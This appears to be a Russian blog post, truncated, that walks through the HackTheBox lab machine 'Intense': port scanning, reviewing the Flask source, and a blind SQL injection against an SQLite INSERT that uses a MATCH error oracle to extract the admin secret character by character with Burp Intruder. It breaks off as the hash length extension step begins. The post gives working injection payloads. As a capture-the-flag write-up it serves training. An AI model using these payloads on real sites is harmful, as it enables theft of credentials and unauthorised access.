{"id":313150,"date":"2020-11-14T21:01:15","date_gmt":"2020-11-14T21:01:15","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=313150"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=313150","title":{"rendered":"HackTheBox. \u041f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 Intanse. Flask, \u0430\u0442\u0430\u043a\u0430 HLE, SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f, SNMP to RCE, Ret2Libc"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/-t\/2p\/d_\/-t2pd_zcieqroaenkd60addoadc.png\"><\/div>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u043e\u0440\u0435\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 <a href=\"https:\/\/www.hackthebox.eu\" rel=\"nofollow\">HackTheBox<\/a>. <\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0435\u043a\u0440\u0435\u0442 Flask \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u0442\u0430\u043a\u0443 \u0443\u0434\u043b\u0438\u043d\u0435\u043d\u0438\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c RCE \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SNMP, \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Ret2Libc \u0430\u0442\u0430\u043a\u0438.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\" rel=\"nofollow\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\" rel=\"nofollow\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0412\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0410\u0432\u0442\u043e\u0440 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u043e\u0439 \u0443\u0449\u0435\u0440\u0431, \u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u0443-\u043b\u0438\u0431\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h2>Recon<\/h2>\n<p>  \u0414\u0430\u043d\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430 \u0438\u043c\u0435\u0435\u0442 IP \u0430\u0434\u0440\u0435\u0441 10.10.10.195, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u0432 \/etc\/hosts.<\/p>\n<pre><code class=\"plaintext\">10.10.10.195 \tintence.htb<\/code><\/pre>\n<p>  \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u043e\u0440\u0442\u044b. \u042f \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0435\u0433\u043e \u043e\u0434\u0438\u043d \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u2014 \u0430\u0434\u0440\u0435\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430:<\/p>\n<pre><code class=\"bash\">#!\/bin\/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '\/' -f 1 | tr '\\n' ',' | sed s\/,$\/\/) nmap -p$ports -A $1<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/rj\/t_\/vq\/rjt_vqlukg8_zqzeyl9pafwvz-c.png\"><\/p>\n<pre><code class=\"bash\">nmap -sU intence.htb<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/sr\/gm\/q-\/srgmq-habcdhznpwkd8af7js094.png\"><\/p>\n<p>  \u0418\u043c\u0435\u0435\u043c \u0442\u043e\u043b\u044c\u043a\u043e SNMP, \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0441\u043b\u0443\u0436\u0431\u0443 SSH, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u0430\u0439\u0442. \u041d\u0430\u043c \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0447\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u0433\u043e\u0441\u0442\u044c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ur\/ct\/dq\/urctdqlvvwor2tngmyytgdpa9o8.png\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f, \u0447\u0442\u043e\u0431\u044b \u0438\u043c\u0435\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0441\u0430\u0439\u0442\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ik\/c4\/a8\/ikc4a8rjzoihpihbl49skqcjdbo.png\"><\/p>\n<p>  \u0422\u0430\u043a, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0447\u0442\u043e-\u0442\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 Submit.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/td\/ug\/-_\/tdug-_5dfigb4m1eo-j3_ueuzse.png\"><\/p>\n<p>  \u0422\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0431\u0443\u0434\u0435\u043c, \u0442\u0430\u043a \u043a\u0430\u043a \u0443 \u043d\u0430\u0441 \u0438\u043c\u0435\u044e\u0442\u0441\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b. \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438 \u043f\u043e\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u043c. \u0418\u0437 \u0444\u0430\u0439\u043b\u0430 admin.py \u0432\u0438\u0434\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u2014 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b. \u0422\u0430\u043a\u0436\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f flask.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/pe\/nc\/yz\/pencyzqtb21htag3ud6os2utkjo.png\"><\/p>\n<p>  \u0418\u0437 \u0444\u0430\u0439\u043b\u0430 app.py \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 Submit \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u044e\u0442\u0441\u044f.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/zy\/cf\/gv\/zycfgvamux6pzjov8gp2asgxyua.png\"><\/p>\n<p>  \u0415\u0449\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u043c \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f cookie.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/jg\/tf\/pi\/jgtfpic9hdilril12mdtgzsmzj0.png\"><\/p>\n<p>  \u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0444\u0430\u0439\u043b\u0443 lwt.py, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0441\u0435\u0441\u0441\u0438\u044f\u043c\u0438. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u043c \u0434\u043b\u0438\u043d\u0443 \u0441\u0435\u043a\u0440\u0435\u0442\u0430 \u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 cookie.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/g6\/gd\/lt\/g6gdltah53xkgvksj7s9zvj5fi0.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/kz\/jn\/p9\/kzjnp9s4cbx88mb5qmm8yvxtvl4.png\"><\/p>\n<p>  \u0418 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u043c \u0444\u0430\u0439\u043b\u0435 \u0432\u0438\u0434\u0438\u043c \u0441\u0430\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/bk\/cx\/ju\/bkcxju4jtd4rcaiwnjjikqljrbg.png\"><\/p>\n<p>  \u0412\u0441\u0435 \u044f\u0441\u043d\u043e, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c cookie.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/6z\/p8\/4k\/6zp84kp6kvp7fzkoytn5yn6pipk.png\"><\/p>\n<p>  \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043b\u0435\u0433\u043a\u043e \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/noraj\/flask-session-cookie-manager\" rel=\"nofollow\">flask-session-cookie-manager<\/a>.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/14\/9z\/ea\/149zeailqny6t-vgpczjgx8v6l8.png\"><\/p>\n<p>  \u041d\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u0435\u043d \u0441\u0435\u043a\u0440\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0430. <\/p>\n<h2>SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f<\/h2>\n<p>  \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0435\u0433\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 Submit. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 INSERT \u0437\u0430\u043f\u0440\u043e\u0441:<\/p>\n<pre><code class=\"sql\">INSERT INTO messages VALUES ('%s')<\/code><\/pre>\n<p>  \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430\u0448 \u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438:<\/p>\n<pre><code class=\"sql\">' AND ( SELECT ... ) ) -- -<\/code><\/pre>\n<p>  \u0422\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a\u0438\u043c:<\/p>\n<pre><code class=\"sql\">INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')<\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u0431\u0435\u0437 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432, \u0442\u043e \u0442\u0430\u043a\u043e\u0439:<\/p>\n<pre><code class=\"sql\">INSERT INTO messages VALUES ('' AND ( SELECT ... ) )<\/code><\/pre>\n<p>  \u0412 \u0441\u0430\u043c\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e:<\/p>\n<pre><code class=\"sql\">SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END<\/code><\/pre>\n<p>  \u0422\u043e\u0433\u0434\u0430 \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d, \u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u0442\u0432\u0435\u0442 &#8216;OK&#8217;, \u0430 \u0438\u043d\u0430\u0447\u0435 \u043e\u0448\u0438\u0431\u043a\u0443 <i>&#8216;unable to use function MATCH in the requested context&#8217;<\/i>.<\/p>\n<p>  \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0441\u0438\u043c\u0432\u043e\u043b\u044c\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 users. \u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e \u043c\u044b \u0443\u0436\u0435 \u0437\u043d\u0430\u0435\u043c \u0441\u0435\u043a\u0440\u0435\u0442 \u0433\u043e\u0441\u0442\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (role = 0). \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f SQLite \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0443\u0437\u043d\u0430\u0435\u043c \u0434\u043b\u0438\u043d\u0443 \u0441\u0435\u043a\u0440\u0435\u0442\u0430( \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0435\u0435 \u0437\u043d\u0430\u0435\u043c, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0440\u0435\u0430\u043a\u0446\u0438\u044e \u043d\u0430 \u0432\u0435\u0440\u043d\u044b\u0439 \u0438 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441) \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 (\u0432\u043c\u0435\u0441\u0442\u043e XXX \u043d\u0430\u0448\u0435 \u0447\u0438\u0441\u043b\u043e):<\/p>\n<pre><code class=\"sql\">' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/mo\/xj\/xa\/moxjxabfb-tpkol0eqltldsnhko.png\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043f\u043e\u0441\u0438\u043c\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u0430. \u0417\u0434\u0435\u0441\u044c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f(NUM \u2014 \u044d\u0442\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u0430, \u0430 XXX \u2014 \u0441\u0430\u043c \u0441\u0438\u043c\u0432\u043e\u043b).<\/p>\n<pre><code class=\"sql\">' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/vg\/3w\/xe\/vg3wxewpi8jgh5iuxq2qcii03ru.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432\u0441\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438\u0441\u044c. \u0422\u043e \u0435\u0441\u0442\u044c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0443\u0437\u043d\u0430\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 role=1. \u0415\u0433\u043e \u0434\u043b\u0438\u043d\u0430 (\u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u0445\u0435\u0448) \u0440\u0430\u0432\u043d\u0430 64.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/gs\/ax\/ax\/gsaxaxqkqbgiaz8gpsuebznu8ak.png\"><\/p>\n<p>  \u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0432 Intruder \u0438 \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/af\/gx\/kz\/afgxkzqsyidro5fygxn1vrignes.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xl\/7d\/in\/xl7dinnpam7bue-t5chlaozbvve.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/fj\/y3\/go\/fjy3gogzbu_qpxdrcz5nyvvfqju.png\"><\/p>\n<p>  \u0418 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0430\u0442\u0430\u043a\u0443. \u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0444\u0438\u043b\u044c\u0442\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442 \u0432\u0441\u0435 \u043e\u0442\u0432\u0435\u0442\u044b, \u0433\u0434\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u201cMATCH\u201d. \u0418 \u0443\u0432\u0438\u0434\u0438\u043c 64 \u0441\u0442\u0440\u043e\u043a\u0438. \u0421\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0438\u0445 \u043f\u043e payload1 (\u043f\u043e\u0437\u0438\u0446\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0430).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xw\/k6\/vw\/xwk6vwq6fnphvkoojtkj7nyv8xw.png\"><\/p>\n<p>  \u0412\u044b\u0434\u0435\u043b\u0438\u043c \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u0432 \u0444\u0430\u0439\u043b \u0442\u043e\u043b\u044c\u043a\u043e payload2.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/53\/u1\/ci\/53u1ciufdyetze1esbf7qoyzvlq.png\"><\/p>\n<p>  \u0418 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/d5\/vg\/ic\/d5vgicg4l5y0o3m2ce9hrewg8jk.png\"><\/p>\n<h2>HLE \u0430\u0442\u0430\u043a\u0430<\/h2>\n<p>  \u041c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0437\u044f\u0442\u044c \u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u0435\u043a\u0440\u0435\u0442 \u0432 cookie. \u041d\u043e \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c <a 